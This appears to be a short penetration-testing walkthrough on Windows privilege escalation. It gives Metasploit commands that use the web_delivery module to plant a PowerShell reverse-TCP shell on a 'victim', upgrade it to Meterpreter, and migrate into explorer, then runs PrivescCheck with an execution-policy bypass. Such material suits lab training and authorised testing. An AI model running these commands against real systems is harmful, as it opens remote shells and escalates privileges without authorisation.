01. Identifying Windows Privilege Escalation Vulnerabilities
Before escalating on a Windows host, I get a shell, upgrade it to Meterpreter, and run a script to identify privilege-escalation opportunities.
Metasploit Web Delivery Module
Web Delivery hosts a payload and hands back a one-liner to run on the victim. Here it delivers a PowerShell binary stager.
use exploit/multi/script/web_delivery
set TARGET PSH\ (Binary)
set PAYLOAD windows/shell/reverse_tcp
set RHOSTS <IP>
set PSH-EncodedCommand false
set LHOST eth1
exploit
Paste the PowerShell script into the victim machine's CMD. The CMD shell will open in msfconsole.
Upgrade the Shell to Meterpreter
use post/multi/manage/shell_to_meterpreter
set LHOST eth1
set SESSION 1
show advanced
set WIN_TRANSFER VBS
exploit
sessions 2
Upgrade to x64
Migrate into a 64-bit process such as explorer.
pgrep explorer
migrate <id>
Using the PrivescCheck PowerShell Script
Run this from the directory where PrivescCheck is stored.
Powershell -ep bypass -c “. .\PrivescCheck.ps1; Invoke-PrivescCheck”